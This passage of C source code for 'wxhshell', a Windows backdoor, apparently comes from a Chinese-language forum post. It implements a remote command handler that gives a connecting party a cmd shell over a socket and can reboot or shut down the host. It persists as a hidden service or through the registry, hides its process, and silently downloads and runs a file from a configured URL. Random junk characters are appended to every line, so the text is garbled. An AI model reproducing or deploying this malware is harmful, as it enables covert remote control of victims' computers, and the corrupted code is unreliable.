v5!G/TZ1  
    switch(cmd[0]) { y vz2eAXa  
  FD*w4U5  
  // 帮助 } I;5yk,o  
  case '?': { ><Z`) }f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $Q!J.}P@  
    break; LV X01ox$  
  } =2yg:D  
  // 安装 _N-JRM m<  
  case 'i': { iSz?V$}?  
    if(Install()) 'aoHNZfxw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); qf2;yRc&  
    else q[w.[]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .^J7^ Ky,  
    break; d5ivtK?  
    } j*aYh^  
  // 卸载 \.7O0Q{  
  case 'r': { E5}wR(i,4  
    if(Uninstall()) <M4Qc12jP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KoPhPH  
    else D3+UV+&R/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xRx8E;Q@h?  
    break;  EL[N%M3  
    } :jp4 !0w  
  // 显示 wxhshell 所在路径 M;i4ss,}!  
  case 'p': { z a^s%^:yK  
    char svExeFile[MAX_PATH];  #FfUkV  
    strcpy(svExeFile,"\n\r"); :6Q`! in  
      strcat(svExeFile,ExeFile); 4vk^=  
        send(wsh,svExeFile,strlen(svExeFile),0); cPgz?,hE  
    break; ]JXpe]B  
    } ja2PmPv  
  // 重启 )FG<|G(  
  case 'b': { -UM5&R+o  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @9!,]n  
    if(Boot(REBOOT)) K{)YnY_E;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E"P5rT  
    else { 0bQm:J[(#  
    closesocket(wsh); 75pz' Cb  
    ExitThread(0); H8}}R~ZO  
    } ;|e6Qc9  
    break; EFg s}BV_9  
    } ;uC +5g`  
  // 关机 z!={d1u#T  
  case 'd': { @fH?y Z=>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kM`!'0kt  
    if(Boot(SHUTDOWN)) h*qoe(+ZD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'e(`2  
    else { ?*~Pgh >uL  
    closesocket(wsh); .7HnWKUV  
    ExitThread(0); x>@+lV'O  
    } 2_4m}T3   
    break; &@dW d  
    } &x(^=sTHI  
  // 获取shell ]qJ6#sAw75  
  case 's': { sH>Z{xjr  
    CmdShell(wsh); /Nh:O  
    closesocket(wsh); 7Lr}Y/1=  
    ExitThread(0); $^2 j#]uX  
    break; y!9facg  
  } 2_x~y|<9  
  // 退出 :z EhPx;B7  
  case 'x': { +C{ %pF  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I\0mmdi73  
    CloseIt(wsh); Us ]Uy|j  
    break; &&w7-  
    }  psg}sl/  
  // 离开 9 xvE?8;M#  
  case 'q': { S:UtmS+K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'M*+HY\.0  
    closesocket(wsh); (\si/&  
    WSACleanup(); fU+A~oL%I  
    exit(1); .g7ebh6D  
    break; p[QF3)9F  
        } su`] l"[,]  
  } .>-`2B*/  
  } G B+U>nf  
U+!H/R)(  
  // 提示信息 R,hX *yVq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NC 0H5  
} xi6Fs, 2S  
  } lrSo@JQ  
9oteQN{9  
  return; $+Hv5]/hb  
} 5Dy800.B2  
")U`Wgx  
// shell模块句柄 >mT< AQ  
int CmdShell(SOCKET sock) 9Q".166  
{ >s E5zj|V  
STARTUPINFO si; wR;_x x  
ZeroMemory(&si,sizeof(si)); ]FLuiC  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W"mkNqH  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <dTo-P  
PROCESS_INFORMATION ProcessInfo; Te"<.0~1  
char cmdline[]="cmd"; >9f-zv(n  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,/\%-u? 1x  
  return 0; |5}{4k~9J  
} a4 g~'^uC  
a#=GLB_P(  
// 自身启动模式 f8E S GU  
int StartFromService(void) jZ< *XX  
{ BZqb o`9  
typedef struct *xs8/?  
{ ~BVg#_P  
  DWORD ExitStatus; ]?L?q2>&  
  DWORD PebBaseAddress; <3;/,>^ Pm  
  DWORD AffinityMask; HF wT  
  DWORD BasePriority; Aa&3x~3+  
  ULONG UniqueProcessId; 5Mb1==/R  
  ULONG InheritedFromUniqueProcessId; :~ 3/  
}   PROCESS_BASIC_INFORMATION; |WeLmy%9  
r4O*0Q_  
PROCNTQSIP NtQueryInformationProcess; ?-O(EY1E  
S ~lw5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; uU`zbh}]L.  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Mi\f?  
S8" h9|  
  HANDLE             hProcess; EX8:B.z`57  
  PROCESS_BASIC_INFORMATION pbi; ushQWP)  
t=~5 I >  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nTj Q4y  
  if(NULL == hInst ) return 0; FuaGr0]  
EOV<|WF>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =o=)EU{~  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); =,I,K=+_x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");  @4_CR  
9dw02bY`  
  if (!NtQueryInformationProcess) return 0; 4EuZe:'X  
tkWWR%c"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aO'$}rDf$  
  if(!hProcess) return 0; }rVnuRq  
t09,X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '<m[  
9Dd/g7  
  CloseHandle(hProcess); .+aSa?h_  
_'Q}Y nEv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0;OpT0  
if(hProcess==NULL) return 0; NF0} eom  
F1?@tcr'  
HMODULE hMod; <4*7HY[  
char procName[255]; $$ \| 3rj!  
unsigned long cbNeeded; }mz4 3Sq<  
xYRL4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #(CI/7 -  
SR~~rD|V  
  CloseHandle(hProcess); h vGb9  
sl%B-;@I  
if(strstr(procName,"services")) return 1; // 以服务启动 \C*?a0!:Z}  
~9]tt\jN*Y  
  return 0; // 注册表启动 l4u`R(!n5  
} &cDnZ3Q;  
pz?.(AmU\  
// 主模块 Q=~e|  
int StartWxhshell(LPSTR lpCmdLine) Oa7`Y`6  
{ HI']{2p2}t  
  SOCKET wsl; kvSSz%R~  
BOOL val=TRUE; L<QqQ"`  
  int port=0; t ba%L  
  struct sockaddr_in door; X>F/0/  
sBF}j.b  
  if(wscfg.ws_autoins) Install(); [F+lVb  
Wuye:b!  
port=atoi(lpCmdLine); ~oT0h[<  
"S#0QH%5  
if(port<=0) port=wscfg.ws_port; ^#exs Xy  
^fS~va  
  WSADATA data; ,_YCl09p(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; LUKdu&M  
\8Fe56  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;    *;+lF  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Dw;L=4F |  
  door.sin_family = AF_INET; {:od=\*R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,/:#=TuYm  
  door.sin_port = htons(port); 2#6yO`?uo  
b)$<aFl  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { E[2c`XFd8  
closesocket(wsl); &OGY?[n  
return 1; QS_" fsyN:  
} X,x{!  
2}I1z_dq~  
  if(listen(wsl,2) == INVALID_SOCKET) { C/_W>H_   
closesocket(wsl); h{J2CWJ  
return 1; b V;R}3)  
} O>|Q Zd  
  Wxhshell(wsl); Q?7U iTZ  
  WSACleanup(); n`0}g_\q  
3boINmX  
return 0; @?G.6r~  
8K6yqc H  
} 398}a!XM  
N\HOo-X  
// 以NT服务方式启动 WK /Byd.Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 98Pt&C?-B  
{ a,M7Bb x  
DWORD   status = 0; <G\q/!@_  
  DWORD   specificError = 0xfffffff; Q>JJI:uC4  
:%xiH%C>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; gHvxmIG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /S\P=lcb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1/6G&RB  
  serviceStatus.dwWin32ExitCode     = 0; vy1:>N?#5  
  serviceStatus.dwServiceSpecificExitCode = 0; Po(9BRd7  
  serviceStatus.dwCheckPoint       = 0; gAgzM?A1(  
  serviceStatus.dwWaitHint       = 0; noOG$P#  
@\z2FJ79w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); LJfd{R1y+  
  if (hServiceStatusHandle==0) return; !4]w b!F  
 yYp!s  
status = GetLastError(); q*?LXKi  
  if (status!=NO_ERROR) /u*((AJ?Qv  
{ ggJn oL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^0ipM/Lg  
    serviceStatus.dwCheckPoint       = 0; ~F+{P4%`<  
    serviceStatus.dwWaitHint       = 0; hqD]^P>l1  
    serviceStatus.dwWin32ExitCode     = status; C{-e(G`Yd  
    serviceStatus.dwServiceSpecificExitCode = specificError; B Lw ssr.  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); <k6Zx-6X<  
    return; ZnI_<iFR*  
  } F^3Q0KsT  
a%7%N N*i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jzdK''CHi  
  serviceStatus.dwCheckPoint       = 0; Z-*L[  
  serviceStatus.dwWaitHint       = 0; M7fw/i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 80&JEtRh  
} %W+*)u72(  
/b@8#px  
// 处理NT服务事件,比如:启动、停止 GO+cCNMa"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bh3}[O,L A  
{ u! x9O8y  
switch(fdwControl) +i4S^B/8i  
{ #fRhG^QKp  
case SERVICE_CONTROL_STOP: 4nXS}bWf  
  serviceStatus.dwWin32ExitCode = 0; "qIO,\3T  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; lBgf' b3$  
  serviceStatus.dwCheckPoint   = 0; @i$9c)D  
  serviceStatus.dwWaitHint     = 0; =UM30 P/  
  { 2}/Z.)^Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /al(=zf  
  } @'/\O-  
  return; 1<\@i{;xsU  
case SERVICE_CONTROL_PAUSE: M0S}-eXc5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SQ1.jcWW[  
  break; k/u6Cw0/  
case SERVICE_CONTROL_CONTINUE: tTLD6#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5nkx8JJ  
  break; jY(' ?3  
case SERVICE_CONTROL_INTERROGATE: fJH09:@^%  
  break; ltO:./6v  
}; YRfs8I^rg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); u-qg9qXJb  
} 7(QRG\G#  
FL,jlE_  
// 标准应用程序主函数 kBS;SDl)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g>1yQ  
{ |-e*^|  
mawomna  
// 获取操作系统版本 2+s_*zM-  
OsIsNt=GetOsVer(); SWN i@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |ITp$  _S  
{W)Kz_  
  // 从命令行安装 " 2Dz5L1v  
  if(strpbrk(lpCmdLine,"iI")) Install(); dpDVEEs84  
N&]v\MjI62  
  // 下载执行文件 [}9sq+##  
if(wscfg.ws_downexe) { \ ExM.T  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +\fr3@Yc  
  WinExec(wscfg.ws_filenam,SW_HIDE); E5~HH($b  
} t>)iC)^u  
C\ZL*,%}  
if(!OsIsNt) { xdd7OSc0{  
// 如果时win9x,隐藏进程并且设置为注册表启动 0~iC#lHO  
HideProc(); rr>QG<i;G  
StartWxhshell(lpCmdLine); o+4/L)h  
} `TYQ^Zm  
else %g5TU 6WP  
  if(StartFromService()) w9rwuk  
  // 以服务方式启动 h3Nwxj~E  
  StartServiceCtrlDispatcher(DispatchTable); @{iws@.  
else Kyt.[" p  
  // 普通方式启动 1XSA3;ZEc  
  StartWxhshell(lpCmdLine); & Gp@,t  
<Bn^+u\  
return 0; : ^F+m QN  
}
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只看该作者 1 发表于: 2006-10-10
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